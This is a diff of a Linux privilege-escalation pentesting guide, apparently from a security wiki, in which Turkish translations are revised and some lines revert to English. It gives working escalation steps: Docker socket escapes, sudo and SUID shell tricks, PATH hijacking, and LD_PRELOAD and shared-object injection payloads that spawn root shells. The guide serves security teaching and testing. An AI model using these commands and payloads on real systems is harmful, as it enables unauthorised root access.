/lib/systemd/system/backu2.timer. ``` -Dikkat: **timer**, `/etc/systemd/system/.wants/.timer` konumuna bir symlink oluşturarak **etkinleştirilir** +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) istemci-sunucu modellerinde aynı veya farklı makinelerde **process communication** sağlar. Bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets `.socket` dosyaları kullanılarak yapılandırılabilir. +Sockets can be configured using `.socket` files. -**Soketler hakkında daha fazla bilgi için `man systemd.socket`.** Bu dosya içinde, yapılandırılabilecek birkaç ilginç parametre vardır: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak özet olarak soketin **nerede dinleyeceğini göstermek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası, vb.) -- `Accept`: Bir boolean argüman alır. Eğer **true** ise, her gelen bağlantı için bir **service instance** başlatılır ve sadece bağlantı soketi ona geçirilir. Eğer **false** ise, tüm dinleme soketleri **başlatılan service unit'e geçirilir**, ve tüm bağlantılar için yalnızca bir service unit başlatılır. Bu değer, tek bir service unit'un tüm gelen trafiği koşulsuz olarak işlediği datagram soketleri ve FIFO'lar için yok sayılır. **Varsayılan false'dur**. Performans nedenleriyle, yeni daemon'ların yalnızca `Accept=no` için uygun şekilde yazılması önerilir. -- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla dinlenen **sockets**/FIFO'lar **oluşturulup** bağlanmadan **önce** veya **sonra** **çalıştırılır**. Komut satırının ilk tokeni mutlak bir dosya adı olmalıdır, ardından işlem için argümanlar gelir. -- `ExecStopPre`, `ExecStopPost`: Dinlenen **sockets**/FIFO'lar **kapatılıp** kaldırılmadan sırasıyla **önce** veya **sonra** **çalıştırılan** ek **komutlar**. -- `Service`: Gelen trafik üzerinde **etkinleştirilecek** **service** unit adını belirtir. Bu ayar yalnızca Accept=no olan socket'ler için izin verilir. Varsayılan olarak, soket ile aynı adı taşıyan (sonek değiştirilmiş olan) service'e ayarlanır. Çoğu durumda bu seçeneğin kullanılması gerekli değildir. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir satır **ekleyebilirsiniz** ve backdoor socket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\ -_Not: Sistemin o socket dosyası yapılandırmasını kullanıyor olması gerekir; aksi halde backdoor çalıştırılmaz_ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şimdi burada config `.socket` dosyalarından değil, Unix Sockets'den bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir zafiyeti istismar edebilirsiniz. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Unix Sockets'leri Listeleme +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -475,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**İstismar örneği:** +**Exploitation example:** {{#ref}} @@ -484,36 +508,36 @@ socket-command-injection.md ### HTTP sockets -HTTP isteklerini dinleyen bazı **sockets listening for HTTP** bulunabilir (_I'm not talking about .socket files but the files acting as unix sockets_). Bunu şu şekilde kontrol edebilirsiniz: +Bazı **sockets listening for HTTP** requests olabileceğini unutmayın (_.socket dosyalarından bahsetmiyorum, unix sockets olarak davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Eğer soket bir **HTTP** isteğine **cevap veriyorsa**, onunla **iletişim kurabilir** ve belki de **bazı bir zafiyeti sömürebilirsiniz**. +Eğer socket bir HTTP isteğine **cevap veriyorsa**, onunla **iletişim kurabilir** ve belki de **bazı güvenlik açıklarını exploit edebilirsiniz**. -### Yazılabilir Docker soketi +### Yazılabilir Docker Socket -Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan, korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu sokete yazma erişimine sahip olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü var. +Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur ve korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e yazma erişimine sahip olmak privilege escalation'a yol açabilir. Bunun nasıl yapılabileceğine dair bir açıklama ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıdadır. #### **Privilege Escalation with Docker CLI** -Eğer Docker soketine yazma erişiminiz varsa, aşağıdaki komutları kullanarak privilege escalation gerçekleştirebilirsiniz: +Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak escalate privileges yapabilirsiniz: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Bu komutlar, host'un dosya sistemine root düzeyinde erişim ile bir container çalıştırmanızı sağlar. +Bu komutlar, host'un dosya sistemine root seviyesinde erişimi olan bir container çalıştırmanızı sağlar. #### **Docker API'yi Doğrudan Kullanma** -Docker CLI mevcut olmadığında, Docker soketi yine Docker API ve `curl` komutları kullanılarak manipüle edilebilir. +Docker CLI mevcut olmadığı durumlarda, Docker socket yine de Docker API ve `curl` komutları kullanılarak manipüle edilebilir. -1. **List Docker Images:** Mevcut image'lerin listesini alın. +1. **List Docker Images:** Mevcut images listesini alın. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Host sisteminin root dizinini mount eden bir container oluşturmak için bir istek gönderin. +2. **Create a Container:** Host sisteminin kök dizinini mount eden bir container oluşturmak için bir istek gönderin. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -525,7 +549,7 @@ Yeni oluşturulan container'ı başlatın: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` kullanarak container'a bir bağlantı kurun; bu sayede içinde komut çalıştırabilirsiniz. +3. **Attach to the Container:** `socat` kullanarak container'a bir bağlantı kurun; böylece içinde komut çalıştırabilirsiniz. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +559,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root düzeyinde erişim ile doğrudan container içinde komut çalıştırabilirsiniz. +`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root seviyesinde erişimle doğrudan container içinde komut çalıştırabilirsiniz. ### Diğerleri -Docker soketi üzerinde yazma izniniz varsa çünkü **`docker` grubunun içindesiniz**, [**ayrıca ayrıcalıkları yükseltmek için daha fazla yolunuz vardır**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API bir portta dinliyorsa onu da ele geçirebilirsiniz**](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Dikkat: docker socket üzerinde yazma izniniz varsa çünkü **inside the group `docker`** içindeyseniz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Docker'dan kaçmak veya onu kötüye kullanarak ayrıcalıkları yükseltmek için **daha fazla yol** inceleyin: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) ayrıcalık yükseltme +## Containerd (ctr) privilege escalation -Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **bunu ayrıcalıkları yükseltmek için kötüye kullanabilirsiniz**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** ayrıcalık yükseltme +## **RunC** privilege escalation -Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **bunu ayrıcalıkları yükseltmek için kötüye kullanabilirsiniz**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus, uygulamaların verimli şekilde etkileşimde bulunup veri paylaşmasını sağlayan gelişmiş bir **inter-Process Communication (IPC) system**'dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olan D-Bus, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. +D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan gelişmiş bir **inter-Process Communication (IPC) system**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. -Sistem çok yönlüdür; süreçler arasındaki veri alışverişini geliştiren temel IPC'yi destekler ve bu, **enhanced UNIX domain sockets**'ı anımsatır. Ayrıca olayları veya sinyalleri yayınlamaya yardımcı olur ve sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, Bluetooth daemon'undan gelen bir arama bildirim sinyali, bir müzik çalarını sessize aldırarak kullanıcı deneyimini iyileştirebilir. Ayrıca D-Bus, uzak nesne sistemini destekler; bu, uygulamalar arasında servis istekleri ve yöntem çağrılarını basitleştirerek geleneksel olarak karmaşık olan süreçleri kolaylaştırır. +Sistem esnektir; süreçler arası veri alışverişini geliştiren temel IPC desteğinin yanı sıra, olay veya sinyal yayınlamayı destekleyerek sistem bileşenleri arasında sorunsuz entegrasyonu kolaylaştırır. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarını sessize aldırabilir. Ayrıca D-Bus, uzak nesne sistemi desteği sunarak servis taleplerini ve metod çağrılarını basitleştirir; bu da geleneksel olarak karmaşık olan işlemleri düzene sokar. -D-Bus, mesaj izinlerini (metot çağrıları, sinyal yayımı vb.) eşleşen politika kurallarının kümülatif etkisine göre yöneten bir **allow/deny modeli** ile çalışır. Bu politikalar bus ile etkileşimleri belirler ve bu izinlerin kötüye kullanılması yoluyla ayrıcalık yükseltmeye olanak sağlayabilir. +D-Bus, eşleştiren politika kurallarının kümülatif etkisine göre mesaj izinlerini (metot çağrıları, sinyal yayımı vb.) yöneten bir izin/engelleme modelinde çalışır. Bu politikalar bus ile hangi etkileşimlerin izinli olduğunu belirler ve bu izinlerin kötüye kullanılması yoluyla privilege escalation mümkün olabilir. -Böyle bir politikanın bir örneği `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde verilmiştir; bu örnek, root kullanıcısının `fi.w1.wpa_supplicant1`'e sahip olma, ona mesaj gönderme ve ondan mesaj alma izinlerini ayrıntılı olarak gösterir. +Örneğin /etc/dbus-1/system.d/wpa_supplicant.conf içindeki bir politika, root kullanıcısının `fi.w1.wpa_supplicant1` üzerinde sahiplik, gönderme ve alma izinlerine dair detaylar içerir. -Belirtilmiş kullanıcı veya grup olmayan politikalar evrensel olarak uygulanır; "default" bağlam politikaları ise diğer belirli politikalar tarafından kapsanmayan tüm öğelere uygulanır. +Belirli bir kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanır; "default" bağlam politikaları ise diğer spesifik politikalar tarafından kapsanmayan herkese uygulanır. ```xml @@ -585,7 +609,7 @@ Belirtilmiş kullanıcı veya grup olmayan politikalar evrensel olarak uygulanı ``` -**D-Bus iletişimini nasıl enumerate edip exploit edeceğinizi burada öğrenin:** +**D-Bus communication'ı enumerate ve exploit etme yöntemini burada öğrenin:** {{#ref}} @@ -594,7 +618,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Ağ** -Ağı enumerate etmek ve makinenin konumunu belirlemek her zaman ilginçtir. +Ağı enumerate etmek ve makinenin ağ içindeki konumunu belirlemek her zaman ilginçtir. ### Genel enumeration ```bash @@ -621,22 +645,22 @@ lsof -i ``` ### Açık portlar -Makinaya erişmeden önce etkileşim kuramadığınız ağ servislerini her zaman kontrol edin: +Erişmeden önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer sniff yapabiliyorsanız, bazı credentials elde edebilirsiniz. +Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz. ``` timeout 1 tcpdump ``` ## Kullanıcılar -### Genel Keşif +### Generic Enumeration -Kontrol edin **kim** olduğunuzu, hangi **ayrıcalıklara** sahip olduğunuzu, sistemde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş** yapabildiğini ve hangilerinin **root ayrıcalıklarına** sahip olduğunu: +Kimin olduğunuzu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **users** bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -660,12 +684,12 @@ gpg --list-keys 2>/dev/null ``` ### Büyük UID -Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine olanak veren bir hatadan etkilendi. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruplar -root ayrıcalıkları verebilecek herhangi bir grubun **üyesi olup olmadığınızı** kontrol edin: +root ayrıcalıkları verebilecek bir **grubun üyesi** olup olmadığınızı kontrol edin: {{#ref}} @@ -674,7 +698,7 @@ interesting-groups-linux-pe/ ### Pano -Panonun içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse) +Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen parolalar -Eğer ortamın herhangi bir **parolasını biliyorsanız**, bu parolayı kullanarak **her kullanıcı için giriş yapmayı deneyin**. +Eğer ortamın **herhangi bir parolasını biliyorsanız** **parolayı kullanarak her kullanıcı olarak giriş yapmayı deneyin**. ### Su Brute -Çok fazla gürültü oluşturmayı umursamıyorsanız ve `su` ve `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıya brute-force uygulamayı deneyebilirsiniz.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile ayrıca kullanıcıları brute-force etmeyi dener. +Eğer çok fazla gürültü çıkarma (noise) umursamıyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile de kullanıcıları brute-force etmeye çalışır. -## Yazılabilir PATH kötüye kullanımları +## Yazılabilir PATH suistimalleri ### $PATH -Eğer $PATH içindeki herhangi bir klasöre **yazabildiğinizi** fark ederseniz, ayrı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutla aynı ada sahip bir backdoor'u **yazılabilir klasörün içine oluştururarak** ayrıcalıkları yükseltebilirsiniz ve bunun için bu komutun $PATH içinde yazılabilir klasörünüzden **önceki bir klasörden yüklenmemesi** gerekir. +Eğer **$PATH içindeki bazı klasörlerden birine yazabiliyorsanız** yazılabilir klasörün içine, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla bir **backdoor oluşturarak** ayrıcalıkları yükseltebilir ve bu komutun $PATH içindeki yazılabilir klasörünüzden **önce yer alan bir klasörden yüklenmemesi** gerekir. ### SUDO and SUID -Bazı komutları sudo ile çalıştırma izniniz olabilir veya komutların suid biti setlenmiş olabilir. Bunun için şu şekilde kontrol edin: +Bazı komutları sudo kullanarak çalıştırmaya izinli olabilirsiniz veya bazı dosyalar suid bitine sahip olabilir. Bunu şu komutla kontrol edin: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Bazı **beklenmeyen komutlar dosyaları okumaya ve/veya yazmaya veya hatta bir komut çalıştırmaya izin verir.** Örneğin: +Bazı **beklenmeyen komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +746,31 @@ less>! ``` ### NOPASSWD -Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla parolasını bilmeden bazı komutları çalıştırmasına izin verebilir. +Sudo yapılandırması, bir kullanıcının parolasını bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte kullanıcı `demo`, `root` olarak `vim` çalıştırabiliyor; root dizinine bir ssh key ekleyerek veya `sh` çağırarak bir shell elde etmek artık çok kolay. +Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; root dizinine bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell almak mümkün. ``` sudo vim -c '!sh' ``` ### SETENV -Bu yönerge kullanıcıya bir şey çalıştırırken **bir ortam değişkeni ayarlama** imkânı verir: +Bu direktif, kullanıcının bir şey çalıştırırken **bir ortam değişkeni ayarlamasına** izin verir: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Bu örnek, **HTB machine Admirer'e dayanan**, script root olarak çalıştırılırken bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e karşı **savunmasızdı**: +Bu örnek, **based on HTB machine Admirer**, root olarak script çalıştırılırken rastgele bir python library yüklemek için **PYTHONPATH hijacking**'e **vulnerable** idi: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo yürütme atlatma yolları -**Jump** diğer dosyaları okumak veya **symlinks** kullanmak için. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** ile diğer dosyaları okuyun veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,50 +780,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Eğer bir **wildcard** kullanılırsa (\*), daha da kolaydır: +Eğer bir **wildcard** kullanılırsa (\*), bu daha da kolaydır: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary komut yolu olmadan +### Komut yolu belirtilmemiş Sudo komutu/SUID binary -Eğer **sudo permission** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz. +Eğer **sudo izni** tek bir komuta **komut yolunu belirtmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek exploit edebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Bu teknik, bir **suid** binary **komutun yolunu belirtmeden başka bir komutu çalıştırıyorsa (her zaman garip bir SUID binary içeriğini kontrol etmek için** _**strings**_ **kullanın)**). +Bu teknik ayrıca **suid** binary **başka bir komutu yolunu belirtmeden çalıştırıyorsa (her zaman _**strings**_ ile tuhaf bir SUID binary'nin içeriğini kontrol edin)**). [Payload examples to execute.](payloads-to-execute.md) ### Komut yolu belirtilmiş SUID binary -Eğer **suid** binary **komutun yolunu belirterek başka bir komutu çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon oluşturup **export a function** etmeyi deneyebilirsiniz. +Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde **export a function** oluşturmaya çalışabilirsiniz. -Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmelisiniz: +Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, işlevi oluşturup export etmeyi denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Sonra, suid binary'yi çağırdığınızda, bu fonksiyon çalıştırılacaktır +Sonrasında, suid binary'yi çağırdığınızda bu fonksiyon yürütülecektir ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** ortam değişkeni, loader tarafından diğer tüm kütüphanelerden önce yüklenmesi için bir veya daha fazla paylaşımlı kütüphane (.so dosyası) belirtmek amacıyla kullanılır; bunun içine standart C kütüphanesi (`libc.so`) de dahildir. Bu işlem kütüphane ön-yükleme (preloading) olarak bilinir. +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -Ancak, sistem güvenliğini korumak ve özellikle **suid/sgid** çalıştırılabilir dosyalarla bu özelliğin kötüye kullanılmasını engellemek için sistem bazı koşullar uygular: +However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- Yükleyici, gerçek kullanıcı kimliği (_ruid_) ile etkili kullanıcı kimliği (_euid_) eşleşmeyen çalıştırılabilir dosyalar için **LD_PRELOAD**'u göz ardı eder. -- suid/sgid olan çalıştırılabilir dosyalar için, yalnızca standart yollarda bulunan ve aynı zamanda suid/sgid olan kütüphaneler ön-yüklenir. +- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). +- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -Privilege escalation, eğer `sudo` ile komut çalıştırma yetkiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, komutlar `sudo` ile çalıştırıldığında bile **LD_PRELOAD** ortam değişkeninin korunmasına ve tanınmasına izin verir; bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun yürütülmesine yol açabilir. +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` -Şu isimle kaydedin: **/tmp/pe.c** +Kaydet: **/tmp/pe.c** ```c #include #include @@ -812,7 +836,7 @@ setuid(0); system("/bin/bash"); } ``` -Sonra bunu **derleyin** kullanarak: +Sonra **derleyin** kullanarak: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -822,7 +846,7 @@ Son olarak, **escalate privileges** çalıştırarak sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable kontrolüne sahipse kötüye kullanılabilir; çünkü kütüphanelerin aranacağı yolu o kontrol eder. +> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env değişkenini kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. ```c #include #include @@ -844,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Garip görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: +Şüpheli görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün şekilde yüklüyor mu diye kontrol etmek iyi bir uygulamadır. Bunu aşağıdaki komutu çalıştırarak kontrol edebilirsiniz: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşılması, potansiyel bir istismara işaret eder. +Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak exploitation için potansiyel olduğunu gösterir. -Bunu istismar etmek için, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturarak aşağıdaki kodu içerecek şekilde ilerlenir: +Bunu exploit etmek için, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturup aşağıdaki kodu içerecek şekilde devam edilir: ```c #include #include @@ -861,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle edip yükseltilmiş ayrıcalıklarla bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. +Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ayrıcalıkları yükseltmeyi ve yükseltilmiş ayrıcalıklara sahip bir shell çalıştırmayı amaçlar. -Yukarıdaki C dosyasını shared object (.so) dosyası olarak şu komutla derleyin: +Yukarıdaki C dosyasını bir shared object (.so) dosyasına şu komutla derleyin: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine izin vermelidir. +Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel sistem ele geçirilmesine izin vermelidir. ## Shared Object Hijacking ```bash @@ -879,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Yazabileceğimiz bir klasörden library yükleyen bir SUID binary bulduğumuza göre, gerekli isimle library'i o klasöre oluşturalım: +Artık yazabileceğimiz bir klasörden library yükleyen bir SUID binary bulduğumuza göre, gerekli isimle library'i o klasöre oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ 